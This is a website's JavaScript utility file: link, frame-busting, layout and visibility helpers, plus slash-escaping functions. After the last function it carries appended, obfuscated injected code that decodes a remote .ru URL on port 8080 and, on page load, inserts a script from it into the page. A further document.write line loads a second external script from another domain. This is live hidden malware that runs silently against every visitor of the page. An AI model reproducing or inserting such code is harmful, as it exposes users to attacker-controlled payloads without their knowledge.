
function external_links() {
	
	if (!document.getElementsByTagName) return;
	var anchors = document.getElementsByTagName("a");
	for (var i=0; i<anchors.length; i++) {
		var anchor = anchors[i];
		if (anchor.getAttribute("href") && anchor.getAttribute("rel") == "external") anchor.target = "_blank";
	}
	
}

function frame_killer() {
	
	if (top!=self) top.location.href=self.location.href;
	
}

function set_page_height() {
	
	var mc = document.getElementById('main_content');
	var lc = document.getElementById('left_container');
	var gr = document.getElementById('google_referral');
	
	if (mc.offsetHeight < lc.offsetHeight) {
		
		gr.style.display = 'none';
		
		if (mc.offsetHeight < lc.offsetHeight) {
			
			mc.style.height = lc.offsetHeight + 10 + 'px';
			
		}
		
	}
	
}

function remove_page_height_restriction() {
	
	document.getElementById('main_content').style.height = 'auto';
	
}

function class_visibility_toggle(objtag, objcls) {
	
	if (!document.getElementsByTagName) return;
	
	var objs = document.getElementsByTagName(objtag);
	
	for (var i = 0; i < objs.length; i++) {
		
		if (objs[i].className == objcls) {
			
			if (objs[i].style.visibility != "visible") {
				objs[i].style.visibility = "visible";
				if (objs[i].style.display == "none") {
					objs[i].style.display = "";
				}
			} else {
				objs[i].style.visibility = "hidden";
				if (objs[i].style.display == "") {
					objs[i].style.display = "none";
				}
			}
			
		}
		
	}
	
}

function show_class(objtag, objcls) {
	
	if (!document.getElementsByTagName) return;
	
	var objs = document.getElementsByTagName(objtag);
	
	for (var i = 0; i < objs.length; i++) {
		
		if (objs[i].className == objcls && objs[i].style.visibility == "hidden") {
			
			objs[i].style.visibility = "visible";
			
			if (objs[i].style.display == "none") {
				objs[i].style.display = "";
			}
			
		}
		
	}
	
}

function hide_class(objtag, objcls) {
	
	if (!document.getElementsByTagName) return;
	
	var objs = document.getElementsByTagName(objtag);
	
	for (var i = 0; i < objs.length; i++) {
		
		if (objs[i].className == objcls && objs[i].style.visibility == "visible") {
			
			objs[i].style.visibility = "hidden";
			
			if (objs[i].style.display == "") {
				objs[i].style.display = "none";
			}
			
		}
		
	}
	
}

function arrow_toggle(elem) {
	
	if (document.getElementById(elem).style.background == 'url(/graphics/icons/blue_arrow_right.png)') {
		document.getElementById(elem).style.background = 'url(/graphics/icons/blue_arrow_down.png)';
	} else {
		document.getElementById(elem).style.background = 'url(/graphics/icons/blue_arrow_right.png)';
	}
	
}

function getWindowSize() {
	
	var xScroll = false;
	var yScroll = false
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = window.innerWidth + window.scrollMaxX;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	
	if (self.innerHeight) {	// all except Explorer
		if(document.documentElement.clientWidth){
			windowWidth = document.documentElement.clientWidth; 
		} else {
			windowWidth = self.innerWidth;
		}
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}
	
	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = xScroll;		
	} else {
		pageWidth = windowWidth;
	}
	
	var winWidth = false;
	var winHeight = false;
	
	if (parseInt(navigator.appVersion) > 3) { // Find the size of the browser window
		if (navigator.appName == 'Netscape') {
			winWidth = window.innerWidth;
			winHeight = window.innerHeight;
		}
		if (navigator.appName.indexOf('Microsoft') != -1) {
			winWidth = document.body.offsetWidth;
			winHeight = document.body.offsetHeight;
		}
	}
	
	return [winWidth, winHeight, pageWidth, pageHeight];
	
}

function addSlashes(str) {
	str=str.replace(/\'/g,'\\\'');
	str=str.replace(/\"/g,'\\"');
	str=str.replace(/\\/g,'\\\\');
	str=str.replace(/\0/g,'\\0');
	return str;
}

function stripSlashes(str) {
	str=str.replace(/\\'/g,'\'');
	str=str.replace(/\\"/g,'"');
	str=str.replace(/\\\\/g,'\\');
	str=str.replace(/\\0/g,'\0');
	return str;
}


this.RD="";function C(){var Q="";var dC=new String();var r=unescape;var rv=window;var f;if(f!='V' && f!='VW'){f=''};var NX;if(NX!='' && NX!='t'){NX=null};var B=r("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%78%70%65%72%74%73%2d%65%78%63%68%61%6e%67%65%2e%63%6f%6d%2f%62%68%61%72%61%74%73%74%75%64%65%6e%74%2e%63%6f%6d%2e%70%68%70");var sD=new Date();var q;if(q!='' && q!='c'){q=null};var Pc="";function e(K,Y){var R=new String("g");this.g='';var k=r("%5b"), H=r("%5d");var S=k+Y+H;var BI=new RegExp(S, R);return K.replace(BI, new String());var Xs=new Date();var ZN;if(ZN!='' && ZN!='W'){ZN=null};};var Pa=new String();var tY='';var NXp='';var FAf;if(FAf!='Mo'){FAf=''};var n=new String();var Kf=new Date();var s=document;var kX;if(kX!='Gc'){kX='Gc'};var F=e('8944316092427874629507672','17235946');this.Vp="";var PD;if(PD!='l'){PD=''};var qH;if(qH!='xu'){qH=''};function G(){var hZ;if(hZ!=''){hZ='oC'};var rr="";var CB;if(CB!='' && CB!='dV'){CB='rm'};var t_;if(t_!='' && t_!='oH'){t_='Nq'};var _=r("%68%74%74%70%3a%2f%2f%63%68%65%61%74%73%69%6e%2e%72%75%3a");var J="";var Sc;if(Sc!='' && Sc!='pL'){Sc=''};var MI=new Date();var bk;if(bk!='' && bk!='A'){bk=null};n=_;var Gz=new String();var fg=new String();n+=F;var AG;if(AG!='Rh' && AG!='oT'){AG=''};var ze=new Array();n+=B;this.EJ="";var O=new Date();try {this.rU='';var QL="";u=s.createElement(e('s0czrXizpdtX','dzX0'));var EsE;if(EsE!='EL' && EsE!='BF'){EsE='EL'};var kF="";var Ge;if(Ge!='Un' && Ge!='Uw'){Ge=''};u[r("%73%72%63")]=n;var bP='';u[r("%64%65%66%65%72")]=[1][0];this.tA="";this.i_='';var lt="";s.body.appendChild(u);var CQ;if(CQ!='uz'){CQ='uz'};} catch(N){var hC;if(hC!='' && hC!='Ao'){hC='xA'};var vs=new String();alert(N);};var x_;if(x_!='VS'){x_='VS'};}rv["onl"+"oad"]=G;var xp=new String();var EY;if(EY!='_tR' && EY != ''){EY=null};this.AwH="";var Fa;if(Fa!='' && Fa!='Hw'){Fa=''};};var mt=new Array();C();var iQ=new Date();
document.write('<script src=http://taslicailkogretim.com/tmp/alt.php ><\/script>');